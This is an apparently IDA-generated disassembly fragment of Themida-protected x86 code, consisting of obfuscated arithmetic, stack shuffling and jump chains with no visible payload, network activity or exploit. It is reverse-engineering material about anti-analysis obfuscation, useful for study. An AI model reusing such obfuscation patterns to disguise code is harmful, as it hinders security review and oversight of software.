; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587499:				; CODE XREF: sub_585452-98Cj
		push	538h
		jmp	loc_58CD51
; ---------------------------------------------------------------------------


loc_5874A3:				; CODE XREF: sub_585452+201j
		xchg	ebx, edx
		jmp	loc_58F344
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A170


loc_5874AA:				; CODE XREF: sub_58A170-39F0j
		shr	bh, 8
		add	bh, 51h
		sub	bh, 0A2h
		add	bh, 23h
		xor	cl, bh
		pop	ebx
		shr	cl, 3
		jmp	loc_58C3A8
; END OF FUNCTION CHUNK	FOR sub_58A170
; ---------------------------------------------------------------------------


loc_5874C1:				; CODE XREF: Themida_:0058F880j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58A54F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5874D0:				; CODE XREF: sub_585452-19Ej
		mov	cl, 0Fh
		jmp	loc_585978
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_5874D7:				; CODE XREF: sub_58EFBD-136Aj
		add	ebp, 346902E6h
		jmp	loc_583FFB
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_5874E2:				; CODE XREF: Themida_:00583F8Bj
		push	5823h
		mov	[esp], eax
		mov	eax, 37614F11h
		sub	eax, 3059EC6Fh
		mov	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, ebp
		mov	ebp, [esp]
		push	397Ah
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58FD03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587517:				; CODE XREF: sub_585452+7AEj
		xor	ecx, eax
		push	712Ah
		mov	[esp-8+arg_4], ebx
		push	352Eh
		jmp	loc_58E728
; ---------------------------------------------------------------------------


loc_58752B:				; CODE XREF: sub_585452+151j
		push	cx
		mov	cl, 0B9h
		sub	bl, cl
		pop	cx
		sub	bl, dh
		jmp	loc_58D12D
; ---------------------------------------------------------------------------


loc_58753A:				; CODE XREF: sub_585452-17B2j
		shr	bh, 2
		shr	bh, 3
		not	bh
		jmp	loc_587D25
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587547:				; CODE XREF: Themida_:0058C12Aj
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58754C:				; CODE XREF: Themida_:0058C5E9j
		push	ebx
		push	edi
		push	ebp
		push	5A397C9Eh
		pop	ebp
		push	edx
		mov	edx, 5A5841CAh
		xor	ebp, edx
		pop	edx
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, 6757159Bh
		jmp	loc_5859DD

; =============== S U B	R O U T	I N E =======================================



sub_587574	proc near		; CODE XREF: sub_585452+D31j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00584CCA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058631A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058663A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005869DA SIZE 0000004C BYTES
; FUNCTION CHUNK AT 00586B3B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005870F2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00587A63 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058840E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00588732 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00589363 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005896AC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00589922 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058A6F1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058AA7F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058AE7B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C072 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CA46 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CF97 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F4CF SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058F5F0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058FB27 SIZE 0000000D BYTES

		push	ebx
		jmp	loc_58AE7B
sub_587574	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58757A:				; CODE XREF: sub_58EFBD-2FE5j
		mov	[esp-0Ch+arg_8], edi
		push	6DA4h
		jmp	loc_58F6CF
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58481A


loc_587587:				; CODE XREF: sub_58481A+7j
		mov	edi, 24F41833h
		mov	edx, 0DB0BE7CDh
		add	edx, edi
		pop	edi
		add	edx, eax
		mov	[edx], bl
		mov	edx, [esp+4+var_4]
		add	esp, 4
		pop	ebx
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58481A
; ---------------------------------------------------------------------------


loc_5875A4:				; CODE XREF: Themida_:0058C41Fj
		push	ebp
		mov	ebp, 16E607C2h
		jmp	loc_586980
; ---------------------------------------------------------------------------


loc_5875AF:				; CODE XREF: Themida_:00583FBFj
		add	esi, 5A800239h
		neg	esi
		or	esi, 656D577Ah
		jmp	loc_58EBE8
; ---------------------------------------------------------------------------


loc_5875C2:				; CODE XREF: Themida_:0058D00Bj
		pop	bx
		push	eax
		push	ecx
		mov	cl, dh
		mov	al, cl
		pop	ecx
		mov	dh, [esp+4]
		mov	[esp+4], al
		pop	eax
		jmp	loc_58E5EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5875D9:				; CODE XREF: sub_585452+3CFAj
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], ebx
		jmp	loc_58E37D
; ---------------------------------------------------------------------------


loc_5875E4:				; CODE XREF: sub_585452+17CFj
		push	eax
		mov	ah, 3Fh
		dec	ah
		shr	ah, 7
		add	ah, 2Bh
		add	bh, ah
		jmp	loc_58E035
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5875F6:				; CODE XREF: Themida_:0058A6CDj
		sub	ecx, 4
		jmp	loc_58BB65
; ---------------------------------------------------------------------------


loc_587601:				; CODE XREF: Themida_:00587F00j
		add	esi, 56F65BA5h
		jmp	loc_58F254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58760C:				; CODE XREF: sub_585452+BBj
		sub	[edi+24h], eax
		pop	eax
		xor	edx, edx
		jmp	loc_58E799
; ---------------------------------------------------------------------------


loc_587617:				; CODE XREF: sub_585452+43BDj
		sub	eax, 7308FFFAh
		jmp	loc_5898AB
; ---------------------------------------------------------------------------


loc_587621:				; CODE XREF: sub_585452+594j
		pop	edi
		push	eax
		jmp	loc_58C991
; ---------------------------------------------------------------------------


loc_587628:				; CODE XREF: sub_585452+147Fj
		add	edx, 7261E71h
		push	ecx
		mov	ecx, 0A1E4D5Bh
		sub	edx, ecx
		pop	ecx
		pop	esi
		push	edx
		push	[esp+46h+var_44+2]
		pop	edx
		jmp	loc_5889B0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587643:				; CODE XREF: Themida_:0058E2CDj
		mov	dl, bl
		sub	esp, 4
		mov	[esp], eax
		mov	al, ch
		mov	bl, al
		pop	eax
		jmp	loc_58CBB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_587658:				; CODE XREF: sub_58999B+1316j
		pop	esi
		push	[esp-10h+arg_C]
		pop	ebp
		jmp	loc_58E21E
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------


loc_587662:				; CODE XREF: Themida_:0058FE06j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 6EF97A09h
		sub	eax, 12795F64h
		shl	eax, 2
		add	eax, 0B410E6Ch
		add	eax, 0FFFFFFFFh
		xor	eax, 316956DFh
		add	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, 5BFB61EFh
		neg	ecx
		jmp	loc_58B994
; ---------------------------------------------------------------------------


loc_5876A0:				; CODE XREF: Themida_:005881A8j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_587BAC
; ---------------------------------------------------------------------------


loc_5876A9:				; CODE XREF: Themida_:005862B1j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_58CA33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5876CA:				; CODE XREF: sub_585452+774j
		mov	ecx, [esp+0]
		jmp	loc_58E919
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5876D2:				; CODE XREF: Themida_:0058E630j
		push	ecx
		jmp	loc_58E70B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_5876D8:				; CODE XREF: sub_589FD5+1B10j
		mov	esi, [esp-0Ch+arg_8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_586703
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A4F5


loc_5876E9:				; CODE XREF: sub_58A4F5+Aj
		mov	bh, 8Dh
		jmp	loc_58B35E
; END OF FUNCTION CHUNK	FOR sub_58A4F5
; ---------------------------------------------------------------------------


loc_5876F0:				; CODE XREF: Themida_:0058E12Aj
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		sub	esi, 27304F13h
		add	esi, edi
		jmp	loc_58DB88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DEA3


loc_587712:				; CODE XREF: sub_58DEA3-739Aj
		mov	edx, esp
		jmp	loc_585A85
; END OF FUNCTION CHUNK	FOR sub_58DEA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587719:				; CODE XREF: sub_585452+3723j
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp-14h+arg_E+2]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58B83E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_583D6F


loc_587733:				; CODE XREF: sub_583D6F+6j
		pop	ebp
		inc	ebp
		add	ebp, 838486Ch
		or	ebp, 20441258h
		xor	ebp, 325C77FBh
		jmp	loc_58B8A4
; END OF FUNCTION CHUNK	FOR sub_583D6F
; ---------------------------------------------------------------------------


loc_58774C:				; CODE XREF: Themida_:0058CDE2j
		pop	esp
		add	esp, 4
		push	3856h
		mov	[esp], ecx
		jmp	loc_58FAC3
; ---------------------------------------------------------------------------


loc_58775D:				; CODE XREF: Themida_:0058DAA3j
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_58D555
; ---------------------------------------------------------------------------


loc_58776F:				; CODE XREF: Themida_:005893BDj
		xor	ecx, 11412A10h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_584FB8
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	2C3Bh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_588B56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BE98


loc_587798:				; CODE XREF: sub_58BE98-4A7Bj
		xchg	ebp, [esp+8+var_8]
		jmp	loc_587DE6
; END OF FUNCTION CHUNK	FOR sub_58BE98
; ---------------------------------------------------------------------------


loc_5877A0:				; CODE XREF: Themida_:00586DF5j
		add	esp, 4
		jmp	loc_587D9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5877A8:				; CODE XREF: sub_585452+9A36j
		pop	edi
		xchg	edi, ebx
		jmp	loc_58CE6F
; ---------------------------------------------------------------------------


loc_5877B0:				; CODE XREF: sub_585452+967Cj
		push	ecx
		push	384Ah
		mov	[esp+0], edx
		mov	dh, al
		push	eax
		mov	ah, dh
		jmp	loc_588AB8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_586878
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_585512
; ---------------------------------------------------------------------------


loc_5877D4:				; CODE XREF: Themida_:00584A29j
		mov	[esp], ebp
		push	edx
		jmp	loc_58DDBF

; =============== S U B	R O U T	I N E =======================================



sub_5877DD	proc near		; CODE XREF: sub_585452+925Fj

; FUNCTION CHUNK AT 00589142 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B77F SIZE 00000019 BYTES

		push	ebx
		jmp	loc_58B77F
sub_5877DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D7D9


loc_5877E3:				; CODE XREF: sub_58D7D9-6A6Cj
		push	ecx
		jmp	loc_585E80
; END OF FUNCTION CHUNK	FOR sub_58D7D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5877E9:				; CODE XREF: sub_585452-6EFj
		add	ecx, 0FFFFFFFFh
		jmp	loc_58483C
; ---------------------------------------------------------------------------


loc_5877F4:				; CODE XREF: sub_585452+2B2Ej
		mov	[esp-1Eh+arg_1A], edx
		push	5305h
		mov	[esp-1Ah+arg_16], eax
		mov	eax, 1
		push	2D86h
		mov	[esp-16h+arg_12], edi
		mov	edi, eax
		jmp	loc_58970F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587813:				; CODE XREF: Themida_:005879DAj
		pop	edi
		sub	edx, 3DC25543h
		add	edx, eax
		add	edx, 3DC25543h
		push	edi
		jmp	loc_585C21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_587828:				; CODE XREF: sub_58EFBD-4D27j
		push	10B2h
		mov	[esp-4+arg_0], ecx
		mov	ecx, 4324449Ch
		sub	eax, ecx
		push	[esp-4+arg_0]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		or	eax, eax
		jnz	loc_58BF42
		push	eax
		jmp	loc_58CBDC
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58785E:				; CODE XREF: Themida_:0058C91Bj
		shl	ebx, 8
		not	ebx
		jmp	loc_58D409
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_587868:				; CODE XREF: sub_58F728-6319j
		pop	ebp
		add	edx, edi
		pop	edi
		pop	ebp
		xor	eax, edx
		pop	edx
		push	2A9Ah
		mov	[esp+0], edx
		push	35C71F95h
		mov	edx, [esp+0]
		push	69A5h
		jmp	loc_58B863
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58788A:				; CODE XREF: sub_58EFBD-6094j
		sub	esi, 5D60606Bh
		neg	esi
		shl	esi, 1
		xor	esi, 87269884h
		jmp	loc_588771
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58789F:				; CODE XREF: Themida_:0058EC20j
		sub	cx, 3CDEh
		mov	si, cx
		pop	ecx
		push	ax
		mov	ax, 589Dh
		sub	dx, ax
		jmp	loc_58A147
; ---------------------------------------------------------------------------


loc_5878B6:				; CODE XREF: Themida_:00588529j
		jmp	loc_583C20

; =============== S U B	R O U T	I N E =======================================



sub_5878BB	proc near		; CODE XREF: sub_58F3BC-6173j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058B332 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058BCA4 SIZE 00000003 BYTES

		push	ebx
		mov	ebx, 0BCD19A9Fh
		push	ebp
		mov	ebp, ebx
		push	esi
		mov	esi, ebp
		mov	ecx, esi
		pop	esi
		pop	ebp
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		add	ecx, edi
		mov	edi, [esp+0]
		push	ebx
		jmp	loc_58B332
sub_5878BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	ebx
		push	edi
		push	5C8753D9h
		pop	edi
		and	edi, 7B33B71h
		xor	edi, 12327FDEh
		xor	edi, 33307411h
		jmp	loc_586172
; ---------------------------------------------------------------------------


loc_5878FE:				; CODE XREF: Themida_:00583D7Cj
		sub	al, dh
		pop	edx
		add	al, bl
		add	al, 40h
		jmp	loc_587E9B
; ---------------------------------------------------------------------------


loc_58790A:				; CODE XREF: Themida_:0058EBB9j
		push	ecx
		jmp	loc_58E635
; ---------------------------------------------------------------------------


loc_587910:				; CODE XREF: Themida_:00584017j
		mov	dh, 72h
		inc	dh
		add	dh, 0CFh
		add	al, dh
		mov	edx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		add	al, 51h
		sub	esp, 4
		jmp	loc_5854C4
; ---------------------------------------------------------------------------


loc_587935:				; CODE XREF: Themida_:0058E517j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_58DEFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587942:				; CODE XREF: sub_585452+7E5Dj
		mov	bh, 1
		sub	al, bh
		pop	ebx
		jmp	loc_58517F
; ---------------------------------------------------------------------------


loc_58794C:				; CODE XREF: sub_585452+49D2j
		mov	edi, ecx
		mov	ecx, [esp-1Ah+arg_16]
		add	esp, 4
		shr	edi, 7
		not	edi
		xor	edi, 0BF3124Ch
		shl	edi, 3
		shl	edi, 4
		jmp	sub_58C31F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58796A:				; CODE XREF: Themida_:0058C800j
		mov	ebp, 7C5242E6h
		sub	ebp, 5BEE3E30h
		or	ebp, 4F824B00h
		not	ebp
		xor	ebp, 0BAE2600h
		jmp	loc_585C15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587988:				; CODE XREF: sub_585452+1C68j
		mov	esp, [esp-1Eh+arg_1A]
		mov	ax, word ptr [esp-1Eh+arg_1A]
		push	2D9Eh
		mov	[esp-1Ah+arg_16], ebx
		sub	esp, 4
		mov	[esp-16h+arg_12], esp
		add	[esp-16h+arg_12], 4
		push	[esp-16h+arg_12]
		jmp	loc_5843B7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_5879BF:				; CODE XREF: Themida_:0058B7AFj
		sub	al, bh
		pop	ebx
		jmp	loc_58917C
; ---------------------------------------------------------------------------


loc_5879C7:				; CODE XREF: Themida_:0058F66Fj
		pop	esi
		and	eax, 461A6911h
		xor	eax, 0FBD56CBh
		push	edi
		mov	edi, 2495475Eh
		sub	edx, edi
		jmp	loc_587813
; ---------------------------------------------------------------------------


loc_5879DF:				; CODE XREF: Themida_:0058905Aj
		pop	edx
		sub	ecx, 0F177224Ah
		xor	edi, ecx
		jmp	loc_584B94
; ---------------------------------------------------------------------------


loc_5879ED:				; CODE XREF: Themida_:0058461Cj
		push	eax
		jmp	loc_58B568
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_5879F3:				; CODE XREF: sub_58FA66+475j
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		mov	eax, esp
		jmp	loc_58F4B2
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_587A00:				; CODE XREF: Themida_:0058A65Dj
		sub	ebp, 13788628h
		add	edi, 75B66DE8h
		sub	edi, ebp
		jmp	loc_58C4B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_587A13:				; CODE XREF: sub_58999B+54F7j
		xor	dh, 10h
		add	bl, 0AFh
		add	bl, 9
		jmp	loc_58F337
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587A21:				; CODE XREF: sub_585452-ADBj
		push	51D4h
		mov	[esp-0Ch+arg_8], edx
		jmp	loc_5852B3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587A2E:				; CODE XREF: Themida_:0058FE7Bj
		xchg	ebp, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_587E56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587A3C:				; CODE XREF: sub_585452+A6A1j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		pop	esp
		jmp	loc_5882C7
; ---------------------------------------------------------------------------


loc_587A51:				; CODE XREF: sub_585452+5889j
		xor	ebp, [esp-0Ch+arg_8]
		jmp	loc_58EEBA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_587A59:				; CODE XREF: sub_58960C+53B6j
		mov	edx, 0D7480643h
		jmp	loc_58D586
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_587A63:				; CODE XREF: sub_587574-1245j
		push	6CA33C7Dh
		pop	ebp
		add	edi, ebp
		pop	ebp
		pop	esi
		xchg	edi, [esp+0]
		pop	esp
		push	ebx
		push	esp
		jmp	loc_584CCA
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------


loc_587A78:				; CODE XREF: Themida_:005865E2j
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		jmp	loc_58AAA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587A89:				; CODE XREF: sub_585452+8D93j
		mov	ecx, 62832727h
		mov	ebx, 62832729h
		sub	ebx, ecx
		pop	ecx
		sub	ecx, 1B9E2035h
		add	ecx, 59F01818h
		add	ecx, ebx
		jmp	sub_58832B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587AA9:				; CODE XREF: Themida_:00588EEFj
		push	ecx
		mov	cl, 37h
		inc	cl
		sub	cl, 80h
		shl	cl, 6
		push	edx
		mov	dl, 37h
		jmp	loc_584F8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587ABC:				; CODE XREF: sub_585452+A0DAj
		push	ecx
		mov	ecx, 3FE81B79h
		jmp	loc_585369
; ---------------------------------------------------------------------------


loc_587AC7:				; CODE XREF: sub_585452+42C6j
		mov	cl, ah
		pop	eax
		pop	ebx
		jmp	loc_587D6D
; ---------------------------------------------------------------------------


loc_587AD0:				; CODE XREF: sub_585452+6B31j
		pop	esp
		jmp	loc_58F064
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		push	4190h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	6A11h
		mov	[esp], esp
		push	edi
		mov	edi, 4
		jmp	loc_588457
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_584D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587B1E:				; CODE XREF: sub_585452+9D2Fj
		xor	eax, 53802C0Fh
		add	ebx, eax
		pop	eax
		mov	eax, [esp-1Ch+arg_16+2]
		add	esp, 4
		neg	ebx
		xor	ebx, 6B5166DDh
		sub	eax, ebx
		pop	ebx
		sub	ebx, 29F9112Bh
		add	ebx, 1EEA12DBh
		add	ebx, eax
		sub	esp, 4
		jmp	loc_58C85C
; ---------------------------------------------------------------------------


loc_587B50:				; CODE XREF: sub_585452-11F0j
		shr	dl, 1
		sub	dl, 6Ah
		sub	al, dl
		jmp	loc_5873C4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F3BC


loc_587B5C:				; CODE XREF: sub_58F3BC+F1j
		xor	eax, ebx
		push	4F16h
		mov	[esp+0], ebp
		jmp	loc_5886A4
; END OF FUNCTION CHUNK	FOR sub_58F3BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587B6B:				; CODE XREF: sub_585452+CB1j
		pop	edx
		mov	ecx, [esp+0Eh+var_10+2]
		add	esp, 4
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_587B77:				; CODE XREF: sub_585452+7EAj
		xor	ch, 6Ch
		and	ah, ch
		pop	ecx
		sub	ah, 27h
		sub	ch, ah
		mov	ax, word ptr [esp-8+arg_4]
		add	esp, 2
		shr	ch, 6
		jmp	loc_586A8A
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_587B94	proc near		; CODE XREF: sub_585452+81C4j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058A244 SIZE 0000002B BYTES

		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		pop	esp
		mov	[esp-4+arg_0], eax
		push	[esp-4+arg_0]
		mov	edx, [esp+0]
		jmp	loc_58A244
sub_587B94	endp

; ---------------------------------------------------------------------------


loc_587BAC:				; CODE XREF: Themida_:005876A4j
		add	[esp], ax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587BB6:				; CODE XREF: sub_585452+3B63j
		push	eax
		jmp	loc_58AB95
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587BBC:				; CODE XREF: Themida_:00589598j
		add	esi, edx
		pop	edx
		jmp	loc_588D4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587BC4:				; CODE XREF: sub_585452+77D7j
		pop	esp
		jmp	loc_587C9E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_587BCA:				; CODE XREF: sub_58F728-7B33j
		mov	edx, esp
		push	esi
		mov	esi, 55CE4BD7h
		jmp	loc_589987
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F3BC


loc_587BD7:				; CODE XREF: sub_58F3BC-6E32j
		sub	esi, 5334436Dh
		xor	esi, 0C2336C11h
		mov	edi, esi
		jmp	loc_58406A
; END OF FUNCTION CHUNK	FOR sub_58F3BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_587BEA:				; CODE XREF: sub_589C10+16B2j
		sub	eax, 1F2239D8h
		jmp	loc_58B154
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_587BF4:				; CODE XREF: sub_58F728-3C65j
		push	edx
		jmp	loc_587BCA
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------


loc_587BFA:				; CODE XREF: Themida_:00588038j
		pop	ecx
		jmp	loc_58C76D
; ---------------------------------------------------------------------------


loc_587C00:				; CODE XREF: Themida_:005880D3j
		sub	ecx, 91EC0D77h
		sub	eax, ecx
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	57D8h
		jmp	loc_58FB50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587C26:				; CODE XREF: sub_585452+8B65j
		add	edi, esi
		pop	esi
		neg	edi
		sub	edi, 14D51E76h
		push	edi
		xor	[esp-0Ch+arg_8], 47744E0Fh
		pop	esi
		xor	esi, 47744E0Fh
		mov	edi, [esp+0]
		add	esp, 4
		and	ecx, esi
		pop	esi
		shr	ecx, 0Bh
		push	519Fh
		jmp	loc_58A951
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 7FD22900h
		sub	eax, 7B5B74C3h
		add	eax, ebx
		push	ecx
		mov	ecx, 7B5B74C3h
		sub	eax, 4FFA3996h
		add	eax, ecx
		push	ebx
		mov	ebx, 4FFA3996h
		add	eax, ebx
		pop	ebx
		pop	ecx
		push	edi
		jmp	loc_58DEB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587C80:				; CODE XREF: sub_585452+8AFCj
		pop	bx
		add	al, 5Ah
